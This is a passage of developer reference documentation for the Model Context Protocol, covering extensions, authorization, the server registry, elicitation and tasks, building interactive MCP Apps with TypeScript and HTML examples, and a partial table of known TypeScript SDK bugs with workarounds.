`io.modelcontextprotocol` | Official extensions |\n| Reversed domain (e.g., `com.example`) | Third-party extensions |\n\n### Official Extensions\n\n| Extension | Identifier | Status | Repo |\n|-----------|-----------|--------|------|\n| MCP Apps | `io.modelcontextprotocol/ui` | Stable (SEP-1865, 2026-01-26); SDK `ext-apps@2.0.0` 2026-09-08 | [ext-apps](https://github.com/modelcontextprotocol/ext-apps) |\n| OAuth Client Credentials | `io.modelcontextprotocol/oauth-client-credentials` | Draft | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |\n| Enterprise-Managed Auth | `io.modelcontextprotocol/enterprise-managed-authorization` | Stable (2026-06-18) | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |\n| Tasks | `io.modelcontextprotocol/tasks` | Official (SEP-2663, final 2026-05-15); repo dropped its \"experimental\" framing 2026-08-19, schema frozen Stable at `2026-07-28` | [ext-tasks](https://github.com/modelcontextprotocol/ext-tasks) |\n| Skills | `io.modelcontextprotocol/skills` | Official ([SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension) Final; merged 2026-09-13) | [docs](https://modelcontextprotocol.io/extensions/skills/overview) |\n\n### Negotiation\n\n**2025-era wires** - both sides declare extension support in `extensions` during initialization:\n\n```json\n// Client (initialize request)\n{\n  \"capabilities\": {\n    \"extensions\": {\n      \"io.modelcontextprotocol/ui\": { \"mimeTypes\": [\"text/html;profile=mcp-app\"] }\n    }\n  }\n}\n\n// Server (initialize response)\n{\n  \"capabilities\": {\n    \"extensions\": { \"io.modelcontextprotocol/ui\": {} }\n  }\n}\n```\n\n**On 2026-07-28** there is no `initialize`, so this exchange does not exist. Clients advertise extension support **per request**:\n\n> Clients advertise extension support in `_meta[\"io.modelcontextprotocol/clientCapabilities\"]` within each request\n\nServers advertise theirs in the `capabilities` of their `server/discover` result. The `extensions` field was added to both `ClientCapabilities` and `ServerCapabilities` in this revision.\n\nEach extension defines its settings schema. Empty object = no settings.\n\n**Graceful degradation**: If one side supports an extension but the other doesn't, fall back to core protocol behavior or reject with an error if mandatory. Always provide meaningful text content alongside UI-enhanced responses so non-supporting clients still work.\n\n### Creating Extensions\n\nOfficial extensions follow the SEP (Specification Enhancement Proposal) process ([SEP-2133](https://modelcontextprotocol.io/seps/2133-extensions)):\n\n1. **Propose** - Create SEP with type \"Extensions Track\" per [SEP guidelines](https://modelcontextprotocol.io/community/sep-guidelines). *\"Prior discussion is required\"* - a SEP without a linked prior discussion is not accepted\n2. **Implement** - Build at least one reference implementation in an official SDK (required before review)\n3. **Review** - Core Maintainers review and approve\n4. **Publish** - Add to extension repository\n5. **Adopt** - Other clients/servers implement\n\nRequirements:\n- RFC 2119 language (MUST, SHOULD, MAY)\n- Associated working group or interest group\n- Extensions always disabled by default - explicit opt-in required\n- SDKs choose which extensions to support (not required for conformance)\n\n### Experimental Extensions\n\nWorking Groups can incubate extensions in repos with `experimental-ext-` prefix within the MCP GitHub org. Requirements:\n- Associated with a Working Group or Interest Group\n- Clear experimental labeling in README and package name\n- Core Maintainer oversight (can archive/remove)\n- Graduate to official via standard SEP process\n\n### Evolution\n\nExtensions evolve independently of the core protocol. Prefer capability flags or versioning within the extension settings over new identifiers. New identifier only for breaking changes (e.g., `io.modelcontextprotocol/my-extension-v2`).\n\nBreaking changes: removing/renaming fields, changing types, altering semantics, adding required fields.\n\n### Client Support Matrix\n\n| Client | MCP Apps | OAuth Client Creds | Enterprise Auth |\n|--------|----------|-------------------|-----------------|\n| [mcpc](https://github.com/apify/mcpc) (CLI) | - | Yes | Yes |\n| Claude (web + Desktop) | Yes | - | - |\n| ChatGPT | Yes | - | - |\n| VS Code Copilot | Yes | - | - |\n| Goose | Yes | - | - |\n| Postman | Yes | - | - |\n| MCPJam | Yes | - | - |\n| Microsoft 365 Copilot | Yes | - | - |\n| Cursor | Yes | - | - |\n| Archestra.AI | Yes | - | Yes |\n| PostHog Code | Yes | - | - |\n\nEnterprise-Managed Authorization reached **Stable** (2026-06-18). OAuth Client Credentials remains Draft, with its first client (the `mcpc` CLI) listed 2026-09-28. The official matrix now also tracks the Skills extension and has no Tasks column - check the official [client matrix](https://modelcontextprotocol.io/extensions/client-matrix) and [ext-auth](https://github.com/modelcontextprotocol/ext-auth) for latest status.\n\n## Authorization Extensions\n\nThe core MCP spec includes OAuth 2.1 authorization (authorization code + PKCE) for interactive user consent. Auth extensions address scenarios where this doesn't fit.\n\nSource: [ext-auth repo](https://github.com/modelcontextprotocol/ext-auth)\n\n### OAuth Client Credentials\n\n**Identifier**: `io.modelcontextprotocol/oauth-client-credentials`\n\nMachine-to-machine authentication via OAuth 2.1 client credentials flow. No user interaction required.\n\n**Use cases**: Background services/daemons, CI/CD pipelines, server-to-server API integrations.\n\n### Enterprise-Managed Authorization\n\n**Identifier**: `io.modelcontextprotocol/enterprise-managed-authorization`\n\nCentralized access control via enterprise identity providers (IdPs). Employees access MCP servers through their organization's existing IdP without per-server authorization.\n\n**Use cases**: Enterprise employees at work, organization-wide MCP access policy enforcement.\n\n### Decision Table\n\n| Scenario | Auth Approach |\n|----------|--------------|\n| Background service / daemon | OAuth Client Credentials |\n| CI/CD pipeline | OAuth Client Credentials |\n| Server-to-server integration | OAuth Client Credentials |\n| Enterprise employees at work | Enterprise-Managed Authorization |\n| Org-wide policy enforcement | Enterprise-Managed Authorization |\n| Standard interactive user auth | Core MCP spec (no extension needed) |\n\nBoth use standard extension negotiation. Specified in [ext-auth/specification/draft](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft).\n\n## MCP Registry\n\nThe official centralized metadata repository for publicly accessible MCP servers. Currently in **preview**, but the API entered a **v0.1 freeze on 2025-10-24** with a stability commitment for integrators (no breaking changes during the freeze window). Backed by Anthropic, GitHub, PulseMCP, and Microsoft.\n\n### What It Provides\n\n- Single place for server creators to publish metadata\n- Namespace management via DNS verification\n- REST API for clients and aggregators to discover servers\n- Standardized `server.json` format with name, location, execution instructions, capabilities\n\n### Key Concepts\n\n**Not a package registry**: Hosts metadata that *points to* packages on npm, PyPI, Docker Hub, etc. Doesn't host code.\n\n**Namespace authentication**: Server names use reverse DNS format (`io.github.user/server-name`, `com.example/server`). Only verified owners (via GitHub account or DNS/HTTP challenge) can publish under their namespace.\n\n**Package types**: beyond npm, PyPI and Docker/OCI, the registry now accepts **Cargo** (crates.io only - *\"For Cargo packages, the MCP Registry currently supports the official crates.io registry (`https://crates.io`) only\"*), **NuGet**, and **MCPB** - *\"prebuilt binary distributed via GitHub or GitLab Releases. End users need no toolchain.\"*\n\n**Ownership is proven from inside the package**, via an `mcp-name:` token in the published README. One gotcha bites Rust publishers specifically: *\"Unlike PyPI and NuGet (which preserve HTML comments in their README rendering), **crates.io strips HTML comments during markdown -> HTML conversion**\"* - so on crates.io the token has to be visible text, not a hidden comment.\n\n**Remote servers**: a hosted server publishes a `remotes` entry in `server.json` (URL, with template variables and headers) instead of, or alongside, `packages`. A remote-only server needs no package at all; its `description` is limited to 100 characters.\n\n**Public servers only**: Private servers (internal networks, private registries) are not supported. Self-host for those.\n\n**Aggregator-first design**: Intended for consumption by downstream aggregators (marketplaces, catalogs) via REST API, not direct use by host applications. Aggregators poll periodically (e.g., hourly).\n\n**OpenAPI spec**: Other registries can implement the same [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) for standardized host application support.\n\n### Publishing\n\nQuickstart: [modelcontextprotocol.io/registry/quickstart](https://modelcontextprotocol.io/registry/quickstart)\n\nAutomate with GitHub Actions: [modelcontextprotocol.io/registry/github-actions](https://modelcontextprotocol.io/registry/github-actions)\n\nServer metadata is `server.json` containing: unique name, location (npm package, remote URL), execution instructions (args, env vars), description, capabilities.\n\n### Trust and Security\n\n- **Namespace verification** prevents impersonation\n- **Security scanning** delegated to underlying package registries (npm, PyPI, Docker Hub) and downstream aggregators\n- **Spam prevention**: namespace auth requirements, character limits/validation, manual takedown by maintainers\n\n### Versioning\n\nServers are versioned within the registry. See [versioning guide](https://modelcontextprotocol.io/registry/versioning) for release management.\n\n## Server Capabilities Beyond Tools\n\nThe spec includes server-to-client request capabilities. Elicitation and Progress are core protocol features; Sampling is Deprecated (SEP-2577) and Tasks has moved to an official extension (SEP-2663).\n\n> **Shape change on 2026-07-28.** Servers can no longer send requests to clients at all. Elicitation and sampling are reached through **Multi Round-Trip Requests**: the tool returns an `InputRequiredResult` carrying `inputRequests`, and the client answers with `inputResponses` on a retry of the original request. The `ctx.mcpReq.*` call style below is the 2025-era API, and `elicitInput` **throws on a 2026-07-28 connection** - which Claude Code now negotiates with HTTP servers. See `references/spec-2026-07-28.md`.\n\n### Elicitation\n\nRequest structured user input mid-tool-execution. Server sends a schema, client prompts the user, returns the response.\n\n```typescript\n// v2, both eras: return the request; the default legacy shim serves 2025-era clients\nconst confirmationSchema = z.object({ confirm: z.boolean() });\n\nserver.registerTool(\"deploy\", { inputSchema: z.object({ env: z.string() }) },\n  async ({ env }, ctx): Promise<CallToolResult | InputRequiredResult> => {\n    const answer = acceptedContent(ctx.mcpReq.inputResponses, \"confirm\", confirmationSchema);\n    if (answer?.confirm !== true) {\n      return inputRequired({\n        inputRequests: {\n          confirm: inputRequired.elicit({ message: `Deploy to ${env}?`, requestedSchema: confirmationSchema }),\n        },\n      });\n    }\n    return { content: [{ type: \"text\", text: `Deployed to ${env}` }] };\n  });\n```\n\nThe requested schema must convert to elicitation's flat primitive shape (strings and formats, inclusive number bounds, booleans, enums, `.optional()`, `.default()`); nested objects or `.regex()` throw a `TypeError` before anything is sent. `acceptedContent` re-validates the answer with the original schema, so refinements still hold on re-entry.\n\n**Server-side MUSTs** from the elicitation spec:\n\n- *\"Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode\"* - use URL mode for anything credential-shaped.\n- In URL mode, servers **MUST NOT** provide a URL that is pre-authenticated to access a protected resource, and *\"The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information.\"*\n- URL-mode elicitation is the sanctioned way to obtain a user's third-party (upstream) token - the server runs the OAuth flow itself and keeps the token, instead of passing a client token through.\n\nRelated SEPs: [#1034](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1034) (default values), [#1036](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1036) (URL mode for out-of-band interactions), [#1330](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330) (enum improvements).\n\n### Sampling\n\n> **Advisory-deprecated.** [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) (final, 2026-05-15) deprecates Sampling along with Roots and Logging. No wire-level changes - the feature stays functional for 1+ year - but adoption is low and it is complex to implement (human-in-the-loop, model selection, security). Do not build new servers that depend on it.\n\nRequest an LLM completion from the client. Enables agentic patterns where tools delegate reasoning to the model.\n\n```typescript\n// v2 API\nconst response = await ctx.mcpReq.requestSampling({\n  messages: [{ role: \"user\", content: { type: \"text\", text: \"Summarize this data\" } }],\n  maxTokens: 100,\n});\n```\n\n**Sampling with tools is released, not proposed.** SEP-1577 landed in the 2026-07-28 schema: `CreateMessageRequest` carries `tools?: Tool[]` and `toolChoice?: ToolChoice`, with `ToolUseContent`/`ToolResultContent` for the exchange. It is gated on a sub-capability - *\"The client MUST return an error if this field is provided but `ClientCapabilities.sampling.tools` is not declared. Default is `{ mode: \\\"auto\\\" }`.\"*\n\n**Capabilities have sub-flags now.** Both sampling and elicitation are structured rather than boolean, so \"the client supports elicitation\" is not a single fact to check:\n\n```typescript\nelicitation?: { form?: JSONObject; url?: JSONObject; };\nsampling?:    { context?: JSONObject; tools?: JSONObject; };\n```\n\nCheck the specific sub-flag you need (`elicitation.url` for out-of-band flows, `sampling.tools` for tool-augmented sampling) before relying on it.\n\n### Tasks (SEP-2663)\n\nLong-running operations with lifecycle management - progress tracking, cancellation, and status updates for operations spanning multiple requests. [SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663) (final, 2026-05-15) supersedes the earlier SEP-1686 proposal: Tasks moved out of the core `2025-11-25` spec (the experimental `tasks` feature there is removed) into the official `io.modelcontextprotocol/tasks` extension. A server may answer a `tools/call` with an async task handle instead of a final result; the client **polls** via `tasks/get` and `tasks/update` (`tasks/cancel` to abort). The redesign drops the blocking `tasks/result` and `tasks/list` methods and allows servers to return task handles unsolicited.\n\n**Canonical source**: the [ext-tasks repo](https://github.com/modelcontextprotocol/ext-tasks) holds the full specification, with docs at [/extensions/tasks/overview](https://modelcontextprotocol.io/extensions/tasks/overview). The stale \"experimental\" README banner was removed on 2026-08-19; the repo now opens *\"This repository contains the official Model Context Protocol Tasks extension\"* and pins an immutable `2026-07-28` Stable schema snapshot.\n\n**Three rules that changed or are easy to miss:**\n\n- **Missing-capability code is now `-32021`, renumbered from `-32003`.** *\"If a server is unable to service a request to a client that does not declare this extension capability without returning `CreateTaskResult`, the server **MUST** return an error with the code `-32021` (Missing Required Client Capability), indicating the required extension.\"* Tasks is per-request opt-in: to a client that did not declare it, answer synchronously or return `-32021` - never a task handle it cannot poll.\n- **Authorize every task request, not just task creation.** *\"Servers **MUST** perform authentication and authorization checks on each task-related request to ensure that the client has permission to access a task.\"* And because a task ID may function as a bearer token for stored state, servers **MUST** generate them *\"with sufficient entropy that a third party cannot enumerate or guess them\"* - the same discipline as the stateful-tool handles in `SKILL.md`.\n- **`CreateTaskResult` must not outrun durability.** A server **MUST NOT** return it *\"until the task is durably created - that is, until a `tasks/get` for the returned `taskId` would resolve\"*, waiting for consistency in eventually-consistent stores. That removes the need for clients to speculatively poll.\n\nSince `server@2.3.0`, `tasks/get` and `tasks/cancel` can be served on 2026-07-28 connections; if one factory serves both eras and a handler is meant for 2025-era clients only, register it only when `ctx.era === 'legacy'`. On v1, tasks were not bound to the session that created them before 1.32.0 ([GHSA-22jm-h49p-29qw](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-22jm-h49p-29qw)) and still are not on servers without sessions - the per-request authorization rule above is the real control.\n\nIn TypeScript SDK v2 the entire 2025-era task wire vocabulary is `@deprecated` - importable for backwards compatibility, but excluded from the typed method maps (`RequestMethod`, `RequestTypeMap`, `ResultTypeMap`, `NotificationTypeMap` carry no `tasks/*` entries), and removable at the major version that drops 2025-era support.\n\n### Skills (SEP-2640)\n\nServers can ship agent skills - instruction bundles, not just tools - through MCP. *\"Servers that declare this extension **MUST** implement `skills/list` and `skills/get`. Skill files are served through `resources/read`\"* under `skill://` URIs. Worth knowing if your server's real value is a workflow the model should follow; client support is tracked in the [client matrix](https://modelcontextprotocol.io/extensions/client-matrix).\n\n### Progress\n\nReport incremental progress on any request:\n\n```typescript\n// v2 API\nawait ctx.mcpReq.sendProgress({ progress: 50, total: 100 });\n```\n\nFile v1.3.0:references/mcp-apps.md\n\n# MCP Apps\n\nInteractive HTML interfaces rendered inside MCP hosts. The MCP Apps spec (SEP-1865) reached **Stable** status on 2026-01-26 as the first official MCP extension (`io.modelcontextprotocol/ui`).\n\n> **`@modelcontextprotocol/ext-apps` 2.0.0 (2026-09-08; current 2.0.3, whose published `dist/` is unchanged) is a breaking release - of the TypeScript API, not the protocol.** *\"The MCP Apps wire protocol is unchanged: 2.x Views run in 1.x hosts and 2.x hosts render 1.x Views (covered by a test that runs the published 1.7.5 against this release in both directions). What breaks is dependencies and the TypeScript API.\"* You can upgrade either side independently. See [Migrating to 2.0](https://github.com/modelcontextprotocol/ext-apps/blob/main/docs/migrate-to-2.md).\n\n## Upgrading to ext-apps 2.0\n\n| Change | Detail |\n|---|---|\n| **Peer packages** | `@modelcontextprotocol/sdk@^1` is replaced by `@modelcontextprotocol/client@^2.0.0` and `@modelcontextprotocol/core@^2.0.0` (both **required** - `App` and `AppBridge` extend the client's `Protocol`) and `@modelcontextprotocol/server@^2.0.0` (optional, only for the `./server` helpers). Node.js 20+. |\n| **Zod** | **zod 3 is dropped**; the peer range is `zod@^4.2.0`. Schemas must implement Standard JSON Schema (`~standard.jsonSchema`) - *\"zod 4.0 and 4.1 do not expose `~standard.jsonSchema`\"*, so 4.2.0 is a real floor, not a suggestion. ArkType and Valibot also qualify. |\n| **Handler context** | *\"Custom handlers receive the SDK 2.x `BaseContext`: `extra.signal` is now `extra.mcpReq.signal`, `extra.requestId` is `extra.mcpReq.id`.\"* |\n| **Registration** | The 1.x `(Schema, handler)` form *\"still works as a deprecated overload with a one-time warning ... and goes away in 3.0.\"* Move to the config-object form now. |\n\nThe examples below use the v1-era imports (`@modelcontextprotocol/sdk/...`), which remain correct on the 1.x line. On 2.x, import `McpServer` and the transport from `@modelcontextprotocol/server` exactly as in `v2-migration.md`, and install `@modelcontextprotocol/ext-apps @modelcontextprotocol/server @modelcontextprotocol/client @modelcontextprotocol/core zod@^4.2.0` instead of the 1.x pair.\n\n## Table of Contents\n- [Architecture](#architecture)\n- [Server Implementation](#server-implementation)\n- [UI Implementation](#ui-implementation)\n- [Project Setup](#project-setup)\n- [CSP and Security](#csp-and-security)\n- [Testing](#testing)\n- [When to Use](#when-to-use)\n- [Client Support](#client-support)\n\n## Architecture\n\nMCP Apps combine two MCP primitives: a **tool** that declares a UI resource in its metadata, and a **resource** that serves HTML rendered in a sandboxed iframe.\n\n### Flow\n\n1. **Tool registration**: Tool includes `_meta.ui.resourceUri` pointing to a `ui://` resource\n2. **UI preloading**: Host can preload the resource before the tool is called (enables streaming inputs to the app)\n3. **Resource fetch**: Host fetches the HTML from the server via `resources/read`\n4. **Sandboxed rendering**: Host renders HTML in a sandboxed iframe (no parent DOM/cookie/storage access)\n5. **Bidirectional communication**: App and host communicate via postMessage using a JSON-RPC dialect of MCP\n\n```\nAgent ──tools/call──────> MCP Server\nAgent <──result────────── MCP Server\nAgent ──result pushed────> MCP App (iframe)\nUser  ──interaction──────> MCP App (iframe)\nApp   ──tools/call───────> Agent ──> MCP Server\nAgent <──result────────── MCP Server\nAgent ──result───────────> MCP App (iframe)\nApp   ──context update───> Agent (updates model context)\n```\n\n### Key Packages\n\n| Package | Purpose |\n|---------|---------|\n| `@modelcontextprotocol/ext-apps` | Server helpers (`registerAppTool`, `registerAppResource`) + client `App` class |\n| `@mcp-ui/client` | React components for hosts rendering MCP Apps ([docs](https://mcpui.dev/)) |\n\n## Server Implementation\n\n```typescript\nimport { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport {\n  registerAppTool,\n  registerAppResource,\n  RESOURCE_MIME_TYPE,\n} from \"@modelcontextprotocol/ext-apps/server\";\nimport fs from \"node:fs/promises\";\nimport path from \"node:path\";\n\nconst server = new McpServer({ name: \"My App Server\", version: \"1.0.0\" });\n\n// ui:// scheme tells hosts this is an MCP App resource\nconst resourceUri = \"ui://my-tool/mcp-app.html\";\n\n// Register tool with UI metadata\nregisterAppTool(server, \"my-tool\", {\n  title: \"My Tool\",\n  description: \"Does something and shows an interactive UI\",\n  inputSchema: { query: z.string().describe(\"Search query\") },\n  _meta: { ui: { resourceUri } },\n}, async ({ query }) => {\n  const result = await doWork(query);\n  return { content: [{ type: \"text\", text: JSON.stringify(result) }] };\n});\n\n// Register resource serving bundled HTML\n// Signature: registerAppResource(server, name, uri, config, readCallback)\nregisterAppResource(server, \"my-app-ui\", resourceUri, {\n  mimeType: RESOURCE_MIME_TYPE,\n}, async () => {\n  const html = await fs.readFile(\n    path.join(import.meta.dirname, \"dist\", \"mcp-app.html\"), \"utf-8\"\n  );\n  return { contents: [{ uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html }] };\n});\n```\n\n**Key points**:\n- `registerAppTool` sets `_meta.ui.resourceUri` on the tool definition\n- `registerAppResource(server, name, uri, config, readCallback)` - the `name` is a human-readable label, distinct from the `ui://` URI\n- `RESOURCE_MIME_TYPE` = `text/html;profile=mcp-app`\n- The `ui://` path structure is arbitrary - organize however makes sense\n- **`_meta.ui.visibility`** on the tool (default `[\"model\", \"app\"]`): set `[\"app\"]` for tools only the view should call - refresh, paginate, mutate-from-a-button. *\"Host MUST NOT include tools in the agent's tool list when their visibility does not include `\"model\"`\"*, so app-only tools cost no model context. The tool's `_meta.ui` carries only `resourceUri` and `visibility`.\n\n### Express Server Boilerplate\n\n```typescript\nimport { StreamableHTTPServerTransport } from \"@modelcontextprotocol/sdk/server/streamableHttp.js\";\nimport cors from \"cors\";\nimport express from \"express\";\n\nconst app = express();\napp.use(cors());\napp.use(express.json());\n\napp.post(\"/mcp\", async (req, res) => {\n  const transport = new StreamableHTTPServerTransport({\n    sessionIdGenerator: undefined,\n    enableJsonResponse: true,\n  });\n  res.on(\"close\", () => transport.close());\n  await server.connect(transport);\n  await transport.handleRequest(req, res, req.body);\n});\n\napp.listen(3001);\n```\n\n## UI Implementation\n\n```html\n<!-- mcp-app.html -->\n<!DOCTYPE html>\n<html lang=\"en\">\n<head><meta charset=\"UTF-8\" /><title>My App</title></head>\n<body>\n  <div id=\"app\">Loading...</div>\n  <button id=\"refresh\">Refresh</button>\n  <script type=\"module\" src=\"/src/mcp-app.ts\"></script>\n</body>\n</html>\n```\n\n```typescript\n// src/mcp-app.ts\nimport { App } from \"@modelcontextprotocol/ext-apps\";\n\nconst app = new App({ name: \"My App\", version: \"1.0.0\" });\n\n// Establish communication with host (call once on init)\napp.connect();\n\n// Handle initial tool result pushed by host\napp.ontoolresult = (result) => {\n  const text = result.content?.find((c) => c.type === \"text\")?.text;\n  document.getElementById(\"app\")!.textContent = text ?? \"[ERROR]\";\n};\n\n// Proactively call tools from UI interactions\ndocument.getElementById(\"refresh\")!.addEventListener(\"click\", async () => {\n  const result = await app.callServerTool({\n    name: \"my-tool\",\n    arguments: { query: \"updated\" },\n  });\n  const text = result.content?.find((c) => c.type === \"text\")?.text;\n  document.getElementById(\"app\")!.textContent = text ?? \"[ERROR]\";\n});\n```\n\n### App Class API (ext-apps v1.7+, unchanged in 2.0)\n\nVerified against [`src/app.ts`](https://github.com/modelcontextprotocol/ext-apps/blob/main/src/app.ts).\n\n| Method | Purpose |\n|--------|---------|\n| `app.connect()` | Establish postMessage communication with host (call once on init) |\n| `app.ontoolresult` | Callback when host pushes a tool result to the app |\n| `app.callServerTool({ name, arguments })` | Call any tool on the MCP server |\n| `app.readServerResource({ uri })` / `listServerResources()` | Resource access from the view |\n| `app.sendLog(params)` | Emit a `LoggingMessageNotification` to the host |\n| `app.openLink(params)` | Request the host to open a URL |\n| `app.updateModelContext(...)` | Update model context with structured data from the view |\n| `app.createSamplingMessage(...)` | Sampling support via stock SDK types (added v1.7.0) |\n| `app.registerTool(...)` / `app.sendToolListChanged()` | Views can expose tools for the host to call (WebMCP-style, added v1.7.0) |\n| `app.requestDisplayMode(...)` / `requestTeardown(...)` / `sendSizeChanged(...)` / `downloadFile(...)` | Host-coordination helpers |\n\n`AppOptions.allowUnsafeEval` (default `false`, added v1.7.0) sets `z.config({ jitless: true })` so views run under strict CSP without `unsafe-eval`.\n\nThe `App` class is a convenience wrapper, not a requirement. You can implement the [postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/2026-01-26/apps.mdx) directly.\n\n## Project Setup\n\n### Directory Structure\n\n```\nmy-mcp-app/\n├── package.json\n├── tsconfig.json\n├── vite.config.ts\n├── server.ts          # MCP server with tool + resource\n├── mcp-app.html       # UI entry point\n└── src/\n    └── mcp-app.ts     # UI logic\n```\n\n### Dependencies\n\n```bash\nnpm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk\nnpm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx\n```\n\n### Configuration\n\n```json\n// package.json\n{\n  \"type\": \"module\",\n  \"scripts\": {\n    \"build\": \"INPUT=mcp-app.html vite build\",\n    \"serve\": \"npx tsx server.ts\"\n  }\n}\n```\n\n```typescript\n// vite.config.ts\nimport { defineConfig } from \"vite\";\nimport { viteSingleFile } from \"vite-plugin-singlefile\";\n\nexport default defineConfig({\n  plugins: [viteSingleFile()],\n  build: {\n    outDir: \"dist\",\n    rollupOptions: { input: process.env.INPUT },\n  },\n});\n```\n\n`vite-plugin-singlefile` bundles all CSS/JS into a single HTML file, avoiding CSP issues. Optional - you can serve unbundled files if you [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors).\n\n### Build and Run\n\n```bash\nnpm run build && npm run serve\n```\n\n## CSP and Security\n\nMCP Apps render in sandboxed iframes with **deny-by-default CSP**. The sandbox prevents:\n- Accessing parent window DOM\n- Reading host cookies or localStorage\n- Navigating the parent page\n- Executing scripts in parent context\n\nAll communication goes through postMessage. The host controls which capabilities the app can access.\n\nCSP and permissions are declared on the **UI resource**, not on the tool - the resource's `_meta.ui` (`UIResourceMeta`), returned from `resources/read` alongside the HTML:\n\n| Field | Purpose |\n|---|---|\n| `csp.connectDomains` | Origins the view may `fetch`/WebSocket to |\n| `csp.resourceDomains` | Origins for scripts, styles, images, fonts, media |\n| `csp.frameDomains` | Origins the view may embed in nested iframes |\n| `csp.baseUriDomains` | Allowed `<base href>` origins |\n| `permissions` | `camera`, `microphone`, `geolocation`, `clipboardWrite` (each `{}`), mapped to Permission Policy |\n| `domain` | A dedicated sandbox origin when the view needs a stable origin (e.g. for OAuth or CORS allowlists) - host-specific format |\n\nOr skip `csp` entirely by bundling everything into a single HTML file (see Project Setup).\n\n## Testing\n\n### With basic-host (local development)\n\n```bash\ngit clone https://github.com/modelcontextprotocol/ext-apps.git\ncd ext-apps/examples/basic-host && npm install\nSERVERS='[\"http://localhost:3001/mcp\"]' npm start\n# Navigate to http://localhost:8080\n```\n\n### With Claude (via cloudflared tunnel)\n\n```bash\n# Terminal 1: Run your server\nnpm run build && npm run serve\n\n# Terminal 2: Expose to internet\nnpx cloudflared tunnel --url http://localhost:3001\n```\n\nCopy the generated URL and add as a custom connector in Claude: Profile > Settings > Connectors > Add custom connector. Requires paid Claude plan (Pro, Max, or Team).\n\n## When to Use\n\nMCP Apps fit when your use case involves:\n- **Complex data exploration** - interactive charts, maps, drill-down views\n- **Multi-option configuration** - forms with validation, defaults, interdependencies\n- **Rich media** - PDF viewers, 3D models, image previews, video players\n- **Real-time monitoring** - live dashboards, logs, system status\n- **Multi-step workflows** - approval flows, triage, code review\n\nIf you don't need conversation-integrated UI, a regular web app is simpler.\n\n## Client Support\n\n| Client | MCP Apps |\n|--------|----------|\n| Claude (web + Desktop) | Yes |\n| ChatGPT | Yes |\n| VS Code Copilot | Yes |\n| Goose | Yes |\n| Postman | Yes |\n| MCPJam | Yes |\n| Microsoft 365 Copilot | Yes |\n| Cursor | Yes |\n| Archestra.AI | Yes |\n| PostHog Code | Yes |\n\nCurrent list: [official client matrix](https://modelcontextprotocol.io/extensions/client-matrix).\n\n### Framework Templates\n\nThe [ext-apps repo](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) includes starters for React, Vue, Svelte, Preact, Solid, and vanilla JS.\n\n### Building a Host\n\nTwo approaches for rendering MCP Apps in your own client:\n1. **`@mcp-ui/client`** - React components ([docs](https://mcpui.dev/))\n2. **App Bridge** - SDK module for iframe rendering, message passing, tool proxying, security ([docs](https://apps.extensions.modelcontextprotocol.io/api/modules/app-bridge.html))\n\nFull API documentation: [apps.extensions.modelcontextprotocol.io](https://apps.extensions.modelcontextprotocol.io/api/)\n\nFile v1.3.0:references/sdk-bugs.md\n\n# Known SDK Bugs\n\nOpen and recently-fixed defects in the TypeScript SDK that change how you write server code. Status verified 2026-10-06 against `@modelcontextprotocol/sdk@1.32.1` (legacy line) and `@modelcontextprotocol/server@2.3.1`.\n\n`SKILL.md` carries the must-know entries inline; this is the full table with status and workarounds.\n\n| Issue | Severity | Status | Workaround |\n|-------|----------|--------|------------|\n| [#2721](https://github.com/modelcontextprotocol/typescript-sdk/issues/2721) / [#2677](https://github.com/modelcontextprotocol/typescript-sdk/issues/2677) (canonical [#2084](https://github.com/modelcontextprotocol/typescript-sdk/issues/2084)) - v1 emits `$schema: draft-07`, strict 2020-12 clients reject the tool | High | **Open**, v1 only (still on 1.32.1; fix PRs #2085/#2653 unmerged) - v2 pins `JSON_SCHEMA_CONVERSION_TARGET = 'draft-2020-12'` | Move to v2, or post-process your `tools/list` output to strip or rewrite `$schema`. The official reference servers are still on `sdk@^1.x` |\n| [#2636](https://github.com/modelcontextprotocol/typescript-sdk/issues/2636) - zod 3 -> 4 silently drops `additionalProperties: false` | High | **Open** | Assert on your published `tools/list` output, not on the Zod source. A schema that was strict under zod 3 becomes open under zod 4 with no error anywhere |\n| [#2705](https://github.com/modelcontextprotocol/typescript-sdk/issues/2705) - `registerTool` with a raw shape never runs `refine`/`superRefine`/`transform` | High | **Open**, v1 and v2 | Pass a real `z.object()`, and re-validate inside the handler with `safeParse` when a constraint is security-critical. This is fail-**open**: input your schema rejects passes the server gate |\n| [#2704](https://github.com/modelcontextprotocol/typescript-sdk/issues/2704) - a reused stateless transport surfaces as an empty `500` through the Node wrapper | Medium | **Open** - and since `server@2.3.0` the web-standard transport also throws on reuse, so v2 Node users hit it too | Build server + transport (or pass a factory to `createMcpHandler`) per request. A bodyless 500 with silent logs is the signature |\n| [#2622](https://github.com/modelcontextprotocol/typescript-sdk/issues/2622) - `capabilities.tools.listChanged: false` silently overridden to `true` | Low | **Open, v1 only** (fix PR #2625 unmerged). v2 preserves an explicit `false`; its default of `true` is intentional | On a serverless host where nothing survives between requests, declare `capabilities: { tools: { listChanged: false } }` (v2) |\n| [#2723](https://github.com/modelcontextprotocol/typescript-sdk/issues/2723) - `remove()` is a no-op after a rename, entry stays live and callable | Medium | **Open** - prompts/resources/templates on `main`; all four including tools on `v1.x` | Verify removal against a real `*/list` call rather than trusting the return |\n| [#2605](https://github.com/modelcontextprotocol/typescript-sdk/issues/2605) - `AjvJsonSchemaValidator.getValidator()` recompiles `$id`-less schemas on every call | Medium | **Open** 